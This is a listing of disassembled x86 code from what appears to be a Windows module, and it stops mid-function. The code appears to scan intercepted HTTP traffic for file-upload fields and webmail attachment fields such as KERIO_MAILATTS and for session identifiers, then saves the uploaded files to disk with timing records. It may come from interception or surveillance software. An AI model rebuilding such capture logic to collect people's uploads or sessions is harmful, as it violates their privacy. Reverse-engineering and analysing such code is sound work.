mov byte [esp + 0x190], 0x31
call fcn.5909a410
lea ecx, [esp + 0x84]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59018b0f
mov eax, dword [esp + 0x10]
push str.hiduploadedfiles
push eax
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x59018b0f
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x174]
call fcn.59094b40
mov edx, dword [esp + 0x1c]
mov byte [esp + 0x190], 0x33
sub edx, edi
push edx
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x16c]
je 0x59018aa8
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018aa8
push 0xfde9
push eax
lea ecx, [esp + 0x60]
call fcn.5909e870
jmp 0x59018ab2
push eax
lea ecx, [esp + 0x5c]
call fcn.5909a770
mov eax, dword [esp + 0x58]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018afb
push eax
lea eax, [esp + 0x168]
push eax
call fcn.5900b440
add esp, 8
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x34
push ecx
lea ecx, [esp + 0x5c]
call fcn.5909a5a0
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x33
call fcn.5909a410
lea ecx, [esp + 0x16c]
mov byte [esp + 0x190], 0x24
call fcn.59095090
lea ecx, [esp + 0x10]
call fcn.59096290
cmp dword [esp + 0x110], 2
jae 0x59018c73
push str.ATTACH
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.ATTACHFILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.UPLOAD
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.UPLOADER
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.ATTH
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.UPLOADFILENAME
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.USERFILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.ATTFILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.FILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.F_CATTCH
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.NEWFILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.LOCALATTACH
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.ATTACHMENT
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.UPFILE
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
push str.KERIO_MAILATTS
lea ecx, [esp + 0x14]
call fcn.59096210
cmp eax, 0xffffffff
jne 0x59018cc5
mov eax, dword [esp + 0x174]
test eax, eax
je 0x59018c96
mov edx, dword [esp + 0x1c]
push str.filename_
push edx
push ebx
call fcn.5900f220
add esp, 0xc
cmp eax, 0xffffffff
jne 0x59018cc5
mov eax, dword [esp + 0x90]
test eax, eax
je 0x590190c7
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x54]
push str.filename_
push eax
push ecx
call fcn.5900f220
add esp, 0xc
cmp eax, 0xffffffff
je 0x590190c7
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x54]
push str.filename_
push edx
push ebx
call fcn.5900f220
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590190c7
mov edi, str.filename_
or ecx, 0xffffffff
xor eax, eax
push 0x59173354
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x20]
not ecx
dec ecx
add esi, ecx
sub eax, esi
lea ebp, [ebx + esi]
push eax
push ebp
call fcn.5900f220
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x590190c7
push edi
push ebp
lea ecx, [esp + 0x6c]
call fcn.59094b40
mov ecx, dword [0x5914f850]
mov byte [esp + 0x190], 0x35
mov dword [esp + 0x44], ecx
push 0x5c
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x36
call fcn.590961e0
mov ebp, eax
mov eax, dword [esp + 0xc4]
test eax, eax
mov eax, dword [esp + 0x64]
lea edx, [ebx + ebp]
lea esi, [edx + esi + 1]
je 0x59018d7e
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018d7e
push 0x4e3
push eax
lea ecx, [esp + 0x4c]
call fcn.5909e870
jmp 0x59018e7a
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59018da0
mov eax, edi
sub eax, ebp
dec eax
push eax
push esi
call fcn.5900a4d0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018dbb
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018dbb
push 0xfde9
push eax
lea ecx, [esp + 0x4c]
call fcn.5909e870
jmp 0x59018e7a
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018ddb
sub edi, ebp
dec edi
push edi
push esi
call fcn.5900a8f0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018df6
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018df6
push 0x2712
push eax
lea ecx, [esp + 0x4c]
call fcn.5909e870
jmp 0x59018e7a
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a590
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018e70
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018e70
push 1
push 0
push eax
call fcn.5900a6a0
mov ebp, eax
lea edi, [ebp + ebp + 4]
push edi
call fcn.5912c500
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59018e7a
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x6c]
push eax
call fcn.5900a6a0
add esp, 0xc
lea ecx, [esp + 0x44]
mov word [esi + ebp*2], 0
push esi
call fcn.5909a690
push esi
call fcn.5912c529
add esp, 4
jmp 0x59018e7a
push eax
lea ecx, [esp + 0x48]
call fcn.5909a770
mov eax, dword [esp + 0x44]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590190a5
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.5900b440
add esp, 8
lea edx, [esp + 0x158]
lea ecx, [esp + 0x44]
push edx
mov byte [esp + 0x194], 0x37
call fcn.5909a5a0
push 0x5c
lea ecx, [esp + 0x48]
call fcn.5909b5c0
inc eax
lea ecx, [esp + 0x44]
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.5909c700
mov ecx, dword [0x5914f850]
mov byte [esp + 0x190], 0x38
mov dword [esp + 0x14], ecx
push 0x2e
lea ecx, [esp + 0x11c]
mov byte [esp + 0x194], 0x39
call fcn.5909b5c0
cmp eax, 0xffffffff
je 0x59018f34
inc eax
lea edx, [esp + 0x74]
push eax
push edx
lea ecx, [esp + 0x120]
call fcn.5909c700
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x3a
call fcn.5909a5a0
lea ecx, [esp + 0x74]
mov byte [esp + 0x190], 0x39
call fcn.5909a410
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xac]
push eax
call fcn.59094930
lea ecx, [esp + 0xa4]
push 0x59173628
push ecx
mov byte [esp + 0x198], 0x3b
call fcn.5904fff0
add esp, 8
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x3c
call fcn.59095210
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x3b
call fcn.59095090
mov eax, dword [esp + 0x1ac]
test eax, eax
jne 0x59018fd4
mov edx, dword [esp + 0x64]
push 0x180
push 0x8101
push edx
call fcn.5907d46d
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59019058
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
sub eax, edi
add ebx, edi
push eax
push ebx
push esi
call fcn.5907d27d
push esi
call fcn.5907d19d
add esp, 0x10
jmp 0x59018fd8
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x138]
sub eax, edi
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590a6690
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x17c]
push edx
call fcn.59099b10
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x17c]
push eax
push ecx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x3d
call fcn.590a03a0
mov eax, dword [esp + 0x14c]
lea edx, [esp + 0x118]
push edx
push eax
lea ecx, [esp + 0x150]
call fcn.590a03a0
lea ecx, [esp + 0x17c]
mov byte [esp + 0x190], 0x3b
call fcn.5909a410
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x39
call fcn.59095090
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x38
call fcn.5909a410
lea ecx, [esp + 0x118]
mov byte [esp + 0x190], 0x37
call fcn.5909a410
lea ecx, [esp + 0x158]
mov byte [esp + 0x190], 0x36
call fcn.5909a410
lea ecx, [esp + 0x44]
mov byte [esp + 0x190], 0x35
call fcn.5909a410
lea ecx, [esp + 0x64]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov eax, dword [esp + 0x114]
test eax, eax
je 0x590191ce
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x590191ce
mov edx, dword [esp + 0x10]
push str.jsessionid
push edx
call fcn.5907c906
add esp, 8
test eax, eax
jne 0x590191ce
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x54]
sub ecx, eax
add edx, eax
push ecx
push edx
lea ecx, [esp + 0x2c]
call fcn.59094b40
push 0x59174168
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3e
call fcn.59096210
cmp eax, 0xffffffff
je 0x59019167
push eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2c]
call fcn.590976b0
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3f
call fcn.59095210
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x3e
call fcn.59095090
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.59094660
lea eax, [esp + 0x12c]
mov byte [esp + 0x194], 0x3e
push eax
call fcn.5900aa80
add esp, 8
mov ecx, dword [esp + 0x128]
mov byte [esp + 0x190], 0x41
push ecx
lea ecx, [esp + 0x54]
call fcn.5909a770
lea ecx, [esp + 0x128]
mov byte [esp + 0x190], 0x3e
call fcn.59095090
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x24
call fcn.59095090
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x1a4]
push ecx
mov ecx, dword [esp + 0x1a4]
push edx
push eax
push ecx
call fcn.5900cf20
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.59095090
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x7c]
mov ebx, dword [esp + 0x19c]
mov edi, dword [esp + 0x54]
test edi, edi
jne 0x59017631
mov edx, dword [esp + 0x6c]
mov eax, dword [edx - 8]
test eax, eax
je 0x59019275
lea eax, [esp + 0x6c]
push 0x591734ec
lea ecx, [esp + 0x38]
push eax
push ecx
call fcn.5909ab80
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x194], 0x42
call fcn.5909b0c0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
mov eax, dword [esp + 0xa0]
test eax, eax
mov eax, dword [esp + 0x20]
je 0x5901929d
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901929d
push 0x5919582c
lea ecx, [esp + 0x24]
call fcn.5909a5a0
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x4c]
test edi, edi
je 0x590192be
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x590192be
push 0x59195828
lea ecx, [esp + 0x24]
call fcn.5909a5a0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590192fa
xor esi, esi
test ecx, ecx
jle 0x590192ec
mov ax, word [eax + esi*2]
push eax
call fcn.5907d9b0
add esp, 4
test eax, eax
je 0x590192e8
mov eax, dword [esp + 0x20]
inc esi
cmp esi, dword [eax - 8]
jl 0x590192cb
jmp 0x590192ec
mov eax, dword [esp + 0x20]
cmp esi, dword [eax - 8]
jne 0x590192fa
lea ecx, [esp + 0x20]
call fcn.5909a180
mov edx, dword [esp + 0x28]
mov ecx, dword [edx - 8]
mov edx, dword [esp + 0x5c]
test ecx, ecx
jne 0x59019596
mov eax, dword [esp + 0x30]
test eax, eax
je 0x59019320
mov eax, dword [esp + 0x60]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019333
test edi, edi
je 0x59019596
mov eax, dword [edx - 8]
test eax, eax
je 0x59019596
mov eax, dword [0x59195864]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
test eax, eax
jl 0x5901934b
lea esi, [eax + 1]
call edi
dec esi
jne 0x59019346
mov eax, dword [esp + 0xb8]
xor edi, edi
test eax, eax
jle 0x5901a482
mov ebp, dword [esp + 0x1a8]
mov bl, 0x4c
mov eax, dword [0x5914f850]
mov dword [esp + 0xd4], eax
mov byte [esp + 0x190], 0x47
mov dword [esp + 0xd8], eax
mov byte [esp + 0x190], 0x48
mov dword [esp + 0xdc], eax
mov ecx, dword [0x5914f84c]
mov byte [esp + 0x190], 0x49
mov dword [esp + 0xf0], ecx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 0x4b
test eax, eax
je 0x590193c6
lea edx, [esp + 0x60]
mov dword [esp + 0xc8], 1
push edx
jmp 0x590193de
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x590193ea
lea eax, [esp + 0x5c]
mov dword [esp + 0xc8], 2
push eax
lea ecx, [esp + 0xd8]
call fcn.5909a5a0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0xcc], eax
lea edx, [ecx + edi*4]
lea ecx, [esp + 0xdc]
push edx
call fcn.5909a5a0
mov eax, dword [esp + 0x148]
lea ecx, [eax + edi*4]
push ecx
lea ecx, [esp + 0xdc]
call fcn.5909a5a0
mov edx, dword [esp + 0x134]
xor ecx, ecx
test ebp, ebp
mov eax, dword [edx + edi*4]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xd0], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0xec], ecx
je 0x59019481
mov edx, ebp
mov eax, dword [edx]
mov dword [esp + 0xe0], eax
mov ecx, dword [edx + 4]
mov dword [esp + 0xe4], ecx
mov eax, dword [edx + 8]
mov dword [esp + 0xe8], eax
mov ecx, dword [edx + 0xc]
mov dword [esp + 0xec], ecx
mov esi, dword [0x59195864]
cmp esi, esi
jl 0x5901949b
lea edx, [esi + 1]
push 0xffffffffffffffff
push edx
mov ecx, 0x59195860
call fcn.59057670
mov edx, dword [0x59195860]
lea eax, [esi + esi*4]
lea ecx, [esi + eax*2]
mov eax, dword [esp + 0xc8]
lea esi, [edx + ecx*4]
mov dword [esi], eax
mov ecx, dword [esp + 0xcc]
mov dword [esi + 4], ecx
mov edx, dword [esp + 0xd0]
lea eax, [esp + 0xd4]
lea ecx, [esi + 0xc]
push eax
mov dword [esi + 8], edx
call fcn.5909a5a0
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [esi + 0x10]
call fcn.5909a5a0
lea edx, [esp + 0xdc]
lea ecx, [esi + 0x14]
push edx
call fcn.5909a5a0
mov ecx, dword [esp + 0xe0]
lea eax, [esi + 0x18]
mov dword [esi + 0x18], ecx
mov edx, dword [esp + 0xe4]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0xe8]
mov dword [eax + 8], ecx
mov edx, dword [esp + 0xec]
lea ecx, [esi + 0x28]
mov dword [eax + 0xc], edx
lea eax, [esp + 0xf0]
push eax
call fcn.59095210
lea ecx, [esp + 0xf0]
mov byte [esp + 0x190], 0x4e
call fcn.59095090
lea ecx, [esp + 0xdc]
mov byte [esp + 0x190], 0x4d
call fcn.5909a410
lea ecx, [esp + 0xd8]
mov byte [esp + 0x190], bl
call fcn.5909a410
lea ecx, [esp + 0xd4]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
mov eax, dword [esp + 0xb8]
inc edi
cmp edi, eax
jl 0x59019365
jmp 0x5901a482
cmp dword [esp + 0x110], 2
jae 0x5901a482
mov eax, dword [esp + 0x48]
mov esi, dword [eax - 8]
test esi, esi
jne 0x590195e3
mov eax, dword [esp + 0x40]
mov esi, dword [eax - 8]
test esi, esi
jne 0x590195e3
mov eax, dword [esp + 0x2c]
mov esi, dword [eax - 8]
test esi, esi
jne 0x590195e3
test ecx, ecx
jne 0x590195e3
mov eax, dword [esp + 0xb8]
test eax, eax
jne 0x590195e3
mov eax, dword [esp + 0x3c]
mov esi, dword [eax - 8]
test esi, esi
je 0x5901a482
mov eax, dword [esp + 0x1ac]
test eax, eax
je 0x590195f9
mov dword [eax], 1
jmp 0x5901a482
test ecx, ecx
je 0x5901989c
mov eax, dword [edx - 8]
test eax, eax
je 0x5901989c
test edi, edi
je 0x5901989c
mov ecx, dword [0x59195864]
lea edi, [ecx - 1]
test edi, edi
mov dword [esp + 0x4c], edi
jl 0x590196fc
lea edx, [edi + edi*4]
lea ebx, [edi + edx*2]
shl ebx, 2
mov eax, dword [0x59195860]
lea esi, [ebx + eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 4]
cmp eax, 0x927c0
jbe 0x590196ec
mov ebp, dword [0x59195864]
mov ecx, dword [esp + 0x4c]
sub ebp, ecx
mov ecx, dword [0x59195860]
dec ebp
xor edi, edi
lea esi, [ebx + ecx]
mov dword [esp + 0x34], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x52
call fcn.59095090
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x51
call fcn.5909a410
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x50
call fcn.5909a410
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
add esi, 0x2c
mov edx, edi
dec edi
mov dword [esp + 0x34], esi
test edx, edx
jne 0x5901966a
test ebp, ebp
je 0x590196dd
lea eax, [ebp + ebp*4]
lea ecx, [ebp + eax*2]
mov eax, dword [0x59195860]
shl ecx, 2
lea edx, [ebx + eax + 0x2c]
push ecx
add eax, ebx
push edx
push eax
call fcn.5907ce30
add esp, 0xc
mov eax, dword [0x59195864]
mov edi, dword [esp + 0x4c]
dec eax
mov dword [0x59195864], eax
dec edi
sub ebx, 0x2c
test edi, edi
mov dword [esp + 0x4c], edi
jge 0x59019632
mov ecx, dword [0x59195864]
lea esi, [ecx - 1]
test esi, esi
mov dword [esp + 0x4c], esi
jl 0x5901989c
lea edx, [esi + esi*4]
lea edi, [esi + edx*2]
shl edi, 2
mov eax, dword [0x59195860]
cmp dword [edi + eax], 2
jne 0x5901988c
mov ecx, dword [esp + 0x5c]
mov edx, dword [edi + eax + 0xc]
push ecx
push edx
call fcn.5907cbeb
add esp, 8
test eax, eax
jne 0x5901988c
mov eax, dword [0x59195860]
lea ecx, [edi + eax + 0x14]
push ecx
lea ecx, [esp + 0x38]
call fcn.59099a10
mov edx, dword [esp + 0xb8]
push eax
push edx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x54
call fcn.590a03a0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
mov eax, dword [0x59195860]
lea ecx, [edi + eax + 0x10]
push ecx
lea ecx, [esp + 0xb0]
call fcn.59099a10
mov edx, dword [esp + 0x14c]
push eax
push edx
lea ecx, [esp + 0x150]
mov byte [esp + 0x198], 0x55
call fcn.590a03a0
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
mov eax, dword [0x59195860]
mov ecx, dword [esp + 0x138]
mov eax, dword [edi + eax + 8]
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590a6690
mov ebx, dword [0x59195864]
mov ecx, dword [esp + 0x4c]
mov edx, dword [0x59195860]
sub ebx, ecx
dec ebx
xor ebp, ebp
lea esi, [edi + edx]
mov dword [esp + 0xa4], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x58
call fcn.59095090
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x57
call fcn.5909a410
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x56
call fcn.5909a410
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.5909a410
add esi, 0x2c
mov eax, ebp
dec ebp
mov dword [esp + 0xa4], esi
test eax, eax
jne 0x59019808
test ebx, ebx
je 0x5901987d
mov eax, dword [0x59195860]
lea ecx, [ebx + ebx*4]
lea edx, [ebx + ecx*2]
lea ecx, [edi + eax + 0x2c]
shl edx, 2
push edx
lea edx, [edi + eax]
push ecx
push edx
call fcn.5907ce30
add esp, 0xc
mov eax, dword [0x59195864]
mov esi, dword [esp + 0x4c]
dec eax
mov dword [0x59195864], eax
dec esi
sub edi, 0x2c
test esi, esi
mov dword [esp + 0x4c], esi
jge 0x5901971a
mov eax, dword [0x5914f850]
mov dword [esp + 0x9c], eax
mov byte [esp + 0x190], 0x5a
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x114]
mov byte [esp + 0x190], 0x5b
test eax, eax
je 0x590198e4
lea eax, [esp + 0x50]
lea ecx, [esp + 0x8c]
push eax
call fcn.5909a5a0
mov ebp, dword [esp + 0x144]
jmp 0x59019945
mov edi, 0x59173d00
or ecx, 0xffffffff
xor eax, eax
mov ebp, dword [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x9c]
push 0x59173d00
push ecx
push ebp
call fcn.5900cfc0
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59019945
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x591949a0
call fcn.59094760
lea edx, [esp + 0x94]
mov byte [esp + 0x198], 0x5b
push edx
push esi
push ebp
call fcn.59020180
add esp, 0x14
mov eax, dword [esp + 0x48]
mov edi, dword [esp + 0x1a4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a1b9
mov ecx, dword [esp + 0x40]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a1b9
mov edx, dword [esp + 0x3c]
mov eax, dword [edx - 8]
test eax, eax
jne 0x5901a1b9
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a1b9
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a1b9
mov eax, dword [esp + 0xb8]
test eax, eax
je 0x5901a1b9
test edi, edi
je 0x5901a1b9
xor ebx, ebx
test eax, eax
jle 0x5901a45a
mov ebp, dword [esp + 0x98]
jmp 0x590199cf
mov ebp, dword [esp + 0x98]
mov edi, dword [esp + 0x1a4]
mov eax, dword [0x5914f850]
mov dword [esp + 0xe4], eax
mov byte [esp + 0x190], 0x5d
mov dword [esp + 0xe8], eax
mov byte [esp + 0x190], 0x5e
mov dword [esp + 0xec], eax
mov edx, dword [0x5914f84c]
mov byte [esp + 0x190], 0x5f
mov dword [esp + 0xf4], edx
mov byte [esp + 0x190], 0x60
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x1a0]
lea ecx, [esp + 0x8c]
push ecx
mov byte [esp + 0x194], 0x62
lea ecx, [esp + 0xe8]
mov dword [esp + 0xcc], eax
call fcn.5909a5a0
mov edx, dword [edi]
mov dword [esp + 0xcc], edx
mov eax, dword [edi + 4]
mov dword [esp + 0xd0], eax
mov ecx, dword [edi + 8]
mov dword [esp + 0xd4], ecx
mov edx, dword [edi + 0xc]
lea eax, [esp + 0xdc]
mov dword [esp + 0xd8], edx
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [esp + 0xb4]
lea edx, [ecx + ebx*4]
lea ecx, [esp + 0x90]
push edx
call fcn.59099a10
push 0x5c
lea ecx, [esp + 0x94]
mov byte [esp + 0x194], 0x63
call fcn.5909b5c0
inc eax
lea ecx, [esp + 0x90]
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.5909c700
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x64
push ecx
call fcn.5900d0d0
add esp, 4
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x194], 0x65
call fcn.59099b10
lea edx, [esp + 0xa0]
mov byte [esp + 0x190], 0x66
push edx
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.5909a9b0
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x69
call fcn.5909a410
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x68
call fcn.59095090
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0x24]
mov eax, dword [ecx + ebx*4]
push 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [esp + 0x24]
lea ecx, [esp + 0xec]
push eax
call fcn.5909a5a0
push 0x2e
lea ecx, [esp + 0x28]
call fcn.5909b5c0
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.5909cb50
push 0x59173ecc
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x6a
call fcn.5909b060
mov edx, dword [esp + 0x148]
lea ecx, [esp + 0xe8]
lea eax, [edx + ebx*4]
push eax
call fcn.5909a5a0
mov ecx, dword [esp + 0x134]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [ecx + ebx*4]
lea ecx, [esp + 0xa8]
mov dword [esp + 0xf4], edx
call fcn.59094930
push eax
lea ecx, [esp + 0xf8]
mov byte [esp + 0x194], 0x6b
call fcn.59095210
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x6a
call fcn.59095090
mov ecx, dword [esp + 0xf4]
push 0x180
push 0x8101
push ecx
call fcn.5907d46d
mov edx, dword [0x5914f84c]
add esp, 0xc
mov esi, eax
mov dword [esp + 0x70], edx
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x6c
je 0x59019c85
mov eax, dword [esp + 0x144]
push ebp
push eax
push esi
call fcn.5907d27d
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x88]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.59097ef0
mov edx, dword [esp + 0x90]
add esp, 0x20
lea ecx, [esp + 0x70]
mov eax, dword [edx - 8]
push eax
push 0
call fcn.59095d20
push eax
push esi
call fcn.5907d27d
push esi
call fcn.5907d19d
add esp, 0x10
mov eax, dword [esp + 0x70]
mov ecx, dword [0x59195874]
mov eax, dword [eax - 8]
add eax, ebp
mov dword [esp + 0xf8], eax
mov eax, ecx
cmp eax, ecx
mov dword [esp + 0x30], eax
jl 0x5901a02d
mov edx, ecx
xor edi, edi
lea ebp, [edx + 1]
cmp ebp, edi
jne 0x59019d4e
mov esi, dword [0x59195870]
cmp esi, edi
je 0x59019d3d
dec ecx
mov dword [esp + 0x74], esi
test eax, eax
je 0x59019d28
lea ebp, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x70
call fcn.5909a410
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x6f
call fcn.59095090
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x6e
call fcn.5909a410
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x6d
call fcn.5909a410
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.5909a410
add esi, 0x48
dec ebp
mov dword [esp + 0x74], esi
jne 0x59019cce
mov ecx, dword [0x59195870]
push ecx
call fcn.5912c529
add esp, 4
mov dword [0x59195870], edi
mov dword [0x59195878], edi
mov dword [0x59195874], edi
jmp 0x5901a02d
mov edx, dword [0x59195870]
cmp edx, edi
jne 0x59019dcb
lea edi, [ebp + ebp*8]
shl edi, 3
push edi
call fcn.5912c500
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
mov dword [0x59195870], esi
shr ecx, 2
mov dword [esp + 0x78], esi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea edi, [ebp]
mov dword [esp + 0x80], esi
test esi, esi
mov byte [esp + 0x190], 0x72
je 0x59019da5
mov ecx, esi
call fcn.590130e0
add esi, 0x48
